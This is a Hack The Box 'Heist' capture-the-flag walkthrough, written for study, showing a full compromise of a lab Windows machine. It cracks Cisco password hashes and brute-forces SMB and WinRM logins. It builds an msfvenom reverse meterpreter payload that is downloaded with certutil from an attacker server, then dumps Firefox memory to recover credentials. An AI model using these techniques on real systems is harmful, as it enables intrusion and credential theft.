Hack The Box - Heist
Configuration
The operating system that I will be using to tackle this machine is a Kali Linux VM.
Always remember to map a domain name to the machine’s IP address to ease your rooting !
1
$ echo "10.10.10.149 heist.htb" >> /etc/hosts
Reconnaissance
Using nmap
, we are able to determine the open ports and running services on the machine.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
$ nmap -sV -sT -sC heist.htb
Starting Nmap 7.70 ( https://nmap.org ) at 2019-08-17 10:31 EDT
Nmap scan report for heist.htb (10.10.10.149)
Host is up (0.27s latency).
Not shown: 997 filtered ports
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 10.0
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
| http-title: Support Login Page
|_Requested resource was login.php
135/tcp open msrpc Microsoft Windows RPC
445/tcp open microsoft-ds?
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: 30s, deviation: 0s, median: 30s
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
| smb2-time:
| date: 2019-08-17 10:32:16
|_ start_date: N/A
5985/tcp open wsman
49669/tcp open unknown
Lets first check out the http
service on port 80.
We don’t have any credentials so lets try to login as a guest.
This looks like a IT helpdesk ticketing system. It looks like Hazard
is having issues with his cisco router and he has posted his configuration file.
/attachments/config.txt
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
version 12.2
no service pad
service password-encryption
!
isdn switch-type basic-5ess
!
hostname ios-1
!
security passwords min-length 12
enable secret 5 $1$pdQG$o8nrSzsGXeaduXrjlvKc91
!
username rout3r password 7 0242114B0E143F015F5D1E161713
username admin privilege 15 password 7 02375012182C1A1D751618034F36415408
!
!
ip ssh authentication-retries 5
ip ssh version 2
!
!
router bgp 100
synchronization
bgp log-neighbor-changes
bgp dampening
network 192.168.0.0Â mask 300.255.255.0
timers bgp 3 9
redistribute connected
!
ip classless
ip route 0.0.0.0 0.0.0.0 192.168.0.1
!
!
access-list 101 permit ip any any
dialer-list 1 protocol ip list 101
!
no ip http server
no ip http secure-server
!
line vty 0 4
session-timeout 600
authorization exec SSH
transport input ssh
First thing to note is
1
service password-encryption
which tells us that all passwords in the configuration file are encrypted.
Next up, we get
1
enable secret 5 $1$pdQG$o8nrSzsGXeaduXrjlvKc91
which has a Type 5 encrypted password. To crack it, I will be using this tool.
1
2
3
4
5
6
7
8
9
10
11
12
$ python3 cisco_pwdecrypt.py -u "\$1\$pdQG\$o8nrSzsGXeaduXrjlvKc91" -d /usr/share/wordlists/rockyou.txt
[*] Bruteforcing 'type 5' hash...
Found 14344392 passwords to test.
Testing: $1$pdQG$o8nrSzsGXeaduXrjlvKc91
Hash Type = MD5
Salt = pdQG
Hash = o8nrSzsGXeaduXrjlvKc91
[Status] 132/14344392 password tested...
[*] Password Found = stealth1agent
Lastly, we have
1
2
username rout3r password 7 0242114B0E143F015F5D1E161713
username admin privilege 15 password 7 02375012182C1A1D751618034F36415408
which both contains a username and a Type 7 encrypted password. To crack them, I will be using the same tool.
1
2
3
4
5
$ python3 cisco_pwdecrypt.py -t 0242114B0E143F015F5D1E161713
[*] Result: $uperP@ssword
$ python3 cisco_pwdecrypt.py -t 02375012182C1A1D751618034F36415408
[*] Result: Q4)sJu\Y8qz*A3?d
With all the credentials we have collected so far, lets create 2 files to store them.
user.txt
:
1
2
3
4
Hazard
hazard
rout3r
admin
pass.txt
:
1
2
3
stealth1agent
$uperP@ssword
Q4)sJu\Y8qz*A3?d
With some credentials, lets move on to the smb
service on port 445. I will be using the auxiliary/scanner/smb/smb_login
module in Metasploit to test the different combinations.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
$ msfconsole
msf5 > use auxiliary/scanner/smb/smb_login
msf5 auxiliary(scanner/smb/smb_login) > set RHOSTS heist.htb
RHOSTS => heist.htb
msf5 auxiliary(scanner/smb/smb_login) > set USER_FILE user.txt
USER_FILE => user.txt
msf5 auxiliary(scanner/smb/smb_login) > set PASS_FILE pass.txt
PASS_FILE => pass.txt
msf5 auxiliary(scanner/smb/smb_login) > set THREADS 50
THREADS => 50
msf5 auxiliary(scanner/smb/smb_login) > set VERBOSE false
VERBOSE => false
msf5 auxiliary(scanner/smb/smb_login) > run
[+] 10.10.10.149:445 - 10.10.10.149:445 - Success: '.\Hazard:stealth1agent'
[+] 10.10.10.149:445 - 10.10.10.149:445 - Success: '.\hazard:stealth1agent'
[*] heist.htb:445 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
Using hazard:stealth1agent
, lets see what we can access in the smb
shares!
1
2
3
4
5
6
7
8
9
$ smbmap -H heist.htb -u hazard -p stealth1agent
[+] Finding open SMB ports....
[+] User SMB session establishd on heist.htb...
[+] IP: heist.htb:445 Name: heist.htb
Disk Permissions
---- -----------
ADMIN$ NO ACCESS
C$ NO ACCESS
IPC$ READ ONLY
I guess the smb
service is a dead end? Maybe not. Using Impacket’s lookupsid.py
, we are able to enumerate for other users on the machine.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
$ python lookupsid.py Hazard:stealth1agent@heist.htb
Impacket v0.9.20-dev - Copyright 2019 SecureAuth Corporation
[*] Brute forcing SIDs at 10.10.10.149
[*] StringBinding ncacn_np:10.10.10.149[\pipe\lsarpc]
[*] Domain SID is: S-1-5-21-4254423774-1266059056-3197185112
500: SUPPORTDESK\Administrator (SidTypeUser)
501: SUPPORTDESK\Guest (SidTypeUser)
503: SUPPORTDESK\DefaultAccount (SidTypeUser)
504: SUPPORTDESK\WDAGUtilityAccount (SidTypeUser)
513: SUPPORTDESK\None (SidTypeGroup)
1008: SUPPORTDESK\Hazard (SidTypeUser)
1009: SUPPORTDESK\support (SidTypeUser)
1012: SUPPORTDESK\Chase (SidTypeUser)
1013: SUPPORTDESK\Jason (SidTypeUser)
From this, we are able to find out that the domain is SUPPORTDESK
. With these new users, lets update our user.txt
.
1
2
3
4
5
6
7
8
Hazard
hazard
rout3r
admin
Chase
Jason
support
Administrator
And run the auxiliary/scanner/smb/smb_login
module again.
1
2
3
4
5
6
7
8
9
msf5 auxiliary(scanner/smb/smb_login) > set DOMAIN SUPPORTDESK
DOMAIN => SUPPORTDESK
msf5 auxiliary(scanner/smb/smb_login) > run
[+] 10.10.10.149:445 - 10.10.10.149:445 - Success: 'SUPPORTDESK\Hazard:stealth1agent'
[+] 10.10.10.149:445 - 10.10.10.149:445 - Success: 'SUPPORTDESK\hazard:stealth1agent'
[+] 10.10.10.149:445 - 10.10.10.149:445 - Success: 'SUPPORTDESK\Chase:Q4)sJu\Y8qz*A3?d'
[*] heist.htb:445 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
Alright! We got another set of credentials! Lets try to access the smb
shares using Chase:Q4)sJu\Y8qz*A3?d
!
1
2
3
4
5
6
7
8
9
$ smbmap -H heist.htb -u Chase -p "Q4)sJu\Y8qz*A3?d" -d SUPPORTDESK
[+] Finding open SMB ports....
[+] User SMB session establishd on heist.htb...
[+] IP: heist.htb:445 Name: heist.htb
Disk Permissions
---- -----------
ADMIN$ NO ACCESS
C$ NO ACCESS
IPC$ READ ONLY
Still nothing? I guess the smb
service really is a dead end :(
If we go back to our reconnaissance results, there is actually one more service on port 5985: wsman
. After some research, the wsman
service is the WinRM
service on the machine. Could we possbily use it to remotely execute commands on the machine? But first, we need to know what credentials we can use by using the auxiliary/scanner/winrm/winrm_login
module in Metasploit.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
msf5 auxiliary(scanner/smb/smb_login) > use auxiliary/scanner/winrm/winrm_login
msf5 auxiliary(scanner/winrm/winrm_login) > set RHOSTS heist.htb
RHOSTS => heist.htb
msf5 auxiliary(scanner/winrm/winrm_login) > set USER_FILE username.txt
USER_FILE => username.txt
msf5 auxiliary(scanner/winrm/winrm_login) > set PASS_FILE password.txt
PASS_FILE => password.txt
msf5 auxiliary(scanner/winrm/winrm_login) > set THREADS 50
THREADS => 50
msf5 auxiliary(scanner/winrm/winrm_login) > set VERBOSE false
VERBOSE => false
msf5 auxiliary(scanner/winrm/winrm_login) > set DOMAIN SUPPORTDESK
DOMAIN => SUPPORTDESK
msf5 auxiliary(scanner/winrm/winrm_login) > run
[+] 10.10.10.149:5985 - Login Successful: SUPPORTDESK\Chase:Q4)sJu\Y8qz*A3?d
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
user.txt
Okay… So the same Chase
user have access to both the smb
and WinRM
service. To establish a shell, I used Alamot
’s winrm_shell.rb with the following configuration settings:
1
2
3
4
5
6
7
8
require 'winrm'
conn = WinRM::Connection.new(
endpoint: 'http://10.10.10.149:5985/wsman',
transport: :ssl,
user: 'SUPPORTDESK\Chase',
password: 'Q4)sJu\Y8qz*A3?d',
:no_ssl_peer_verification => true
)
And now we execute the WinRM
shell…
1
2
3
4
5
6
7
8
9
10
11
12
13
$ ruby winrm_shell.rb
PS supportdesk\chase@SUPPORTDESK Documents> cd ..
PS supportdesk\chase@SUPPORTDESK Chase> cd Desktop
PS supportdesk\chase@SUPPORTDESK Desktop> dir
Directory: C:\Users\Chase\Desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 4/22/2019 9:08 AM 121 todo.txt
-a---- 4/22/2019 9:07 AM 32 user.txt
PS supportdesk\chase@SUPPORTDESK Desktop> more user.txt
a127XXXXXXXXXXXXXXXXXXXXXXXXXXXX
root.txt (1)
When I first did this machine, I found the SHA-256
hash of the Administrator’s password which I was able to somehow crack it using an online website.
From what we know, there was a IIS
web server running on port 80 so I checked out C:\inetpub\wwwroot
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
PS supportdesk\chase@SUPPORTDESK inetpub> dir
Volume in drive C has no label.
Volume Serial Number is 78E3-E62D
Directory of C:\inetpub\wwwroot
04/21/2019 05:42 PM <DIR> .
04/21/2019 05:42 PM <DIR> ..
04/21/2019 05:41 PM <DIR> attachments
04/21/2019 05:41 PM <DIR> css
04/21/2019 11:51 AM 1,240 errorpage.php
04/21/2019 05:41 PM <DIR> images
04/21/2019 11:33 AM 279 index.php
04/22/2019 08:38 AM 3,034 issues.php
04/21/2019 05:41 PM <DIR> js
04/22/2019 06:48 AM 2,657 login.php
4 File(s) 7,210 bytes
6 Dir(s) 7,923,224,576 bytes free
I skimmed through the pages until I came across login.php
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
session_start();
if( isset($_REQUEST['login']) && !empty($_REQUEST['login_username']) && !empty($_REQUEST['login_password'])) {
if( $_REQUEST['login_username'] === 'admin@support.htb' && hash( 'sha256', $_REQUEST['login_password']) ===
'91c077fb5bcdd1eacf7268c945bc1d1ce2faf9634cba615337adbf0af4db9040') {
$_SESSION['admin'] = "valid";
header('Location: issues.php');
}
else
header('Location: errorpage.php');
}
else if( isset($_GET['guest']) ) {
if( $_GET['guest'] === 'true' ) {
$_SESSION['guest'] = "valid";
header('Location: issues.php');
}
}
?>
The SHA-256
hash of the admin’s password was hardcoded in login.php
. I immediately tried different online password cracking websites until I came across this website. I supplied the hash and got the password 4dD!5}x/re8]FBuZ
.
Using Impacket’s psexec.py
, I was able to establish a shell.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
$ python psexec.py Administrator:'4dD!5}x/re8]FBuZ'@heist.htb
Impacket v0.9.20-dev - Copyright 2019 SecureAuth Corporation
[*] Requesting shares on heist.htb.....
[*] Found writable share ADMIN$
[*] Uploading file igPymROC.exe
[*] Opening SVCManager on heist.htb.....
[*] Creating service KKCH on heist.htb.....
[*] Starting service KKCH.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.17763.437]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
nt authority\system
C:\Windows\system32>cd C:\Users\Administrator\Desktop
C:\Users\Administrator\Desktop>more root.txt
50dfXXXXXXXXXXXXXXXXXXXXXXXXXXXX
root.txt (2)
So apparently there was another or more “proper” way to solving this box by using a very certain process. But first, lets upgrade to a meterpreter shell.
To do so, we will first need to create our executable which will establish the reverse connection back to our listener. After that, move the executable into the directory that the SimpleHTTPServer
is running from.
1
2
3
4
5
6
$ msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.XXX.XXX LPORT=1337 -f exe > shell.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 341 bytes
Final size of exe file: 73802 bytes
And we start our listener on port 1337…
1
2
3
4
5
6
7
8
9
10
11
$ msfconsole
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set LPORT 1337
LPORT => 1337
msf5 exploit(multi/handler) > set LHOST 10.10.XXX.XXX
LHOST => 10.10.14.61
msf5 exploit(multi/handler) > run
[*] Started reverse TCP handler on 10.10.XXX.XXX:1337
Back to our WinRM
shell, we retrieve the executable from our SimpleHTTPServer
using certutil.exe
and run it.
1
2
3
4
5
6
PS supportdesk\chase@SUPPORTDESK Chase> certutil.exe -urlcache -split -f http://10.10.XXX.XXX/shell.exe
**** Online ****
000000 ...
01204a
CertUtil: -URLCache command completed successfully.
PS supportdesk\chase@SUPPORTDESK Documents> cmd.exe /k shell.exe
Back on our listener, we obtained a meterpreter shell.
1
2
3
4
[*] Sending stage (179779 bytes) to 10.10.10.149
[*] Meterpreter session 1 opened (10.10.XXX.XXX:1337 -> 10.10.10.149:49694) at 2019-08-31 09:04:09 -0400
meterpreter >
When we list all the processes running on the box using the ps
command, we noticed that firefox.exe
is currently running.
1
2
3
4
5
6
7
8
9
10
11
meterpreter > ps
Process List
============
PID PPID Name Arch Session User Path
--- ---- ---- ---- ------- ---- ----
796 4660 firefox.exe x64 1 SUPPORTDESK\Chase C:\Program Files\Mozilla Firefox\firefox.exe
1620 796 firefox.exe x64 1 SUPPORTDESK\Chase C:\Program Files\Mozilla Firefox\firefox.exe
2264 796 firefox.exe x64 1 SUPPORTDESK\Chase C:\Program Files\Mozilla Firefox\firefox.exe
5912 796 firefox.exe x64 1 SUPPORTDESK\Chase C:\Program Files\Mozilla Firefox\firefox.exe
6068 796 firefox.exe x64 1 SUPPORTDESK\Chase C:\Program Files\Mozilla Firefox\firefox.exe
Lets try to dump out the process’s memory to see if we can extract any credentials! I will be using Sysinternals’s procdump.exe
. Since we already have a meterpreter shell, we can just use the upload
command to transfer it over.
1
2
3
4
meterpreter > upload procdump.exe
[*] uploading : procdump.exe -> procdump.exe
[*] Uploaded 636.16 KiB of 636.16 KiB (100.0%): procdump.exe -> procdump.exe
[*] uploaded : procdump.exe -> procdump.exe
Next up, we spawn a cmd.exe
shell and run procdump.exe
on the firefox.exe
process.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
meterpreter > shell
Process 3708 created.
Channel 102 created.
Microsoft Windows [Version 10.0.17763.437]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Users\Chase>procdump.exe -accepteula -ma 796
procdump.exe -accepteula -ma 796
ProcDump v9.0 - Sysinternals process dump utility
Copyright (C) 2009-2017 Mark Russinovich and Andrew Richards
Sysinternals - www.sysinternals.com
[19:30:23] Dump 1 initiated: C:\Users\Chase\firefox.exe_190831_193023.dmp
[19:30:24] Dump 1 writing: Estimated dump file size is 473 MB.
[19:30:29] Dump 1 complete: 474 MB written in 5.2 seconds
[19:30:29] Dump count reached.
With that done, we exit out of our cmd.exe
and use the download
command to retrieve the process dump.
1
2
3
4
5
6
C:\Users\Chase>exit
exit
meterpreter > download C:\\Users\\Chase\\firefox.exe_190831_193023.dmp
[*] Downloading: C:\Users\Chase\firefox.exe_190831_193023.dmp -> firefox.exe_190831_193023.dmp
[*] Downloaded 462.05 MiB of 462.05 MiB (100.0%): C:\Users\Chase\firefox.exe_190831_193023.dmp -> firefox.exe_190831_193023.dmp
[*] download : C:\Users\Chase\firefox.exe_190831_193023.dmp -> firefox.exe_190831_193023.dmp
The final step is simply to run strings
on it and grep
for password
. There were many lines containing password
but I came across this line:
1
:http://localhost/login.php?login_username=admin@support.htb&login_password=4dD!5}x/re8]FBuZ&login=
The password seems to be the value for login_password
. Refer to root.txt (1)
on how to establish a shell using the credentials we found.